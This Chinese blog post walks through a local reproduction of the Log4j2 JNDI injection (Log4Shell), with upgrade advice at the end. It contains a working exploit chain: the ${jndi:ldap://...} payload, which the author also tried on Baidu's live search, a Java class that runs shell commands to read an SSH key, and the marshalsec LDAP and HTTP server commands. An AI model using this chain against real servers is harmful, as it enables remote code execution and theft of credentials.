Code前端首页关于Code前端联系我们

Apache Log4j2高危JNDI注入漏洞曝光:重复远程代码执行

terry 2年前 (2023-09-28) 阅读数 61 #Web安全
Apache Log4j2高危JNDI注入漏洞曝光:远程代码执行复现

作者

2021年12月9日晚,网络上发生了一件大事件。已发现一个高危核弹级漏洞:Apache-Log4j2组件中存在JNDI注入漏洞,攻击者无需特殊配置即可利用该漏洞在目标服务器上执行任意代码。 Log4j2是一个优秀的Java日志框架,广泛应用于业务系统的开发中记录日志信息。阿里云安全团队已确认Apache Struts2、Apache Solr、Apache Druid、Apache Flink等所有组件均受到影响。百度、苹果等公司的产品也存在上述问题。

以百度为例。通常,当我们在百度搜索某个关键字找不到结果时,会得到如下提示: Apache Log4j2高危JNDI注入漏洞曝光:远程代码执行复现

但输入注入攻击命令时,我们创建了${jndi:ldap ://example.com},效果是这样的:Apache Log4j2高危JNDI注入漏洞曝光:远程代码执行复现

我猜百度后台临时添加了一些逻辑只是为了简单的堵住这个漏洞,但并没有从根本上彻底修复。今天早上在公众号《新安路》上看到一条推文,了解到了此事,所以就来参加了。为了直观地感受这个漏洞的危害性,我在这里记录一下使用本地模拟重现这个漏洞的过程。我的实验环境使用Mac,本地安装了java执行环境和IntelliJ IDE。 Python版本是3.x。由于本人对网络安全了解不多,如有遗漏还请大家批评指正。

漏洞重复

存在漏洞的版本为:Apache Log4j 2.x “项目结构”>“项目设置-模块”中添加 JAR。该文件位于我们刚刚解压的文件夹中。这里最好导入log4j-api-2.12.1.jar、log4j-core-2.12.1.jar、log4j-1.2-api-2.12.1.jar。Apache Log4j2高危JNDI注入漏洞曝光:远程代码执行复现

然后在src文件夹下创建log4j2.xml文件作为log4j配置文件来控制输出格式。请注意,log4j 版本 1 可以使用 .properties 文件进行配置,而版本 2 仅支持 xml 和 json。

<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
    <Appenders>
        <Console name="CONSOLE" target="SYSTEM_OUT">
            <PatternLayout pattern="%d %-5p [%t] (%F:%L) - %m%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="info">
            <AppenderRef ref="CONSOLE"/>
        </Root>
    </Loggers>
</Configuration>

然后在src文件夹中创建一个Hack.java源文件,内容如下:

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class Hack {
    private static final Logger logger = LogManager.getLogger(Hack.class);
    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}");
    }
}

该文件使用Log4j2框架模拟一个Web服务器程序。许多网站使用Java作为后端开发语言,网站有用于提交表单的输入字段。出于调试目的,输入框的内容可能会通过记录器输出。我们跳过网页逻辑,将输入字段中的注入攻击命令直接作为参数传递给logger.error函数。

然后选择不同的目录(Hack.java 除外)并创建 Log4jRCE.java 文件。该文件是我们希望服务器运行的代码。我们可以尝试在这个文件中调用系统命令。这里,我们以计算机的SSH公钥的输出为例。

import java.io.BufferedReader;    
import java.io.IOException;    
import java.io.InputStream;    
import java.io.InputStreamReader;    
   
public class Log4jRCE {    
    static {
        System.out.println("I am Log4jRCE from remote!!!");
        Process p;
        String [] cmd = {"cat", "/Users/MAC/.ssh/id_rsa.pub"}; 
        try {
            p = java.lang.Runtime.getRuntime().exec(cmd);
            InputStream fis = p.getInputStream();
            InputStreamReader isr = new InputStreamReader(fis);    
            BufferedReader br = new BufferedReader(isr);    
            String line = null; 
            while((line=br.readLine())!=null) {
                 System.out.println(line);
            }
        }    
        catch (IOException e) {    
             e.printStackTrace();
        }
     }    
}

然后编译该程序,得到Log4jRCE.class字节码文件。命令如下:

javac Log4jRCE.java

然后我们在这个文件夹中打开控制台(确保服务器根目录下有Log4jRCE.class文件),我们启动属于该文件夹的HTTP服务器Python 的:

python3 -m http.server 127.0.0.1:8888
----------------------------------------------------------------
Serving HTTP on 127.0.0.1 port 8888 (http://127.0.0.1:8888/) ...

然后我们还需要在本地运行 LDAP 服务器(两个服务器都在攻击者的计算机上):

git clone git@github.com:bkfish/Apache-Log4j-Learning.git
cd Apache-Log4j-Learning/tools
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"

然后我们在 IntelliJ 中运行 Hack.java 提交表单的那一刻模拟注入攻击,服务器将使用log4j2输出日志。结果是: Apache Log4j2高危JNDI注入漏洞曝光:远程代码执行复现

可以看到机器的公钥已经下发到服务器了。当然,这没有多大意义,但是如果我们Log4jRCE的逻辑是通过网络通信将私钥发送到指定的服务器(攻击者的计算机),就会出现严重的安全问题。

总结一下攻击过程,攻击者在 Web 表单的输入字段中输入注入攻击语句。提交表单后,服务器端 Log4j 框架会记录输出。但由于库的解析和构建时出现一些错误,导致${}括号内的语句被当作语句执行。攻击者的注入攻击首先解析后访问ldap服务器,然后ldap解析请求的文件名:Log4jRCE。 ldap 将请求 HTTP 服务器获取该文件。最后,Web服务器在本地实例化并执行这个java类,即执行攻击者的攻击脚本。

修复

将Log4j框架升​​级到2.15.0版本:org/apache/logging/log4j/log4j-core/2.15.0(感谢@blindpirate

GA版本稳定,今晚发布发布于18: 00 26,链接已更新)并升级已知受影响的应用程序和组件,例如 spring-boot-strater-log4j2 / Apache Solr / Apache Flink / Apache Druid。 Apache Log4j2高危JNDI注入漏洞曝光:远程代码执行复现

参考

  • 关于JNDI的更多信息,请参阅:Java中攻击JNDI、RMI、LDAP
  • log4j2漏洞源码分析的具体过程,请参阅:Apache Log4j2中的远程代码执行

版权声明

本文仅代表作者观点,不代表Code前端网立场。
本文系作者Code前端网发表,如需转载,请注明页面地址。

热门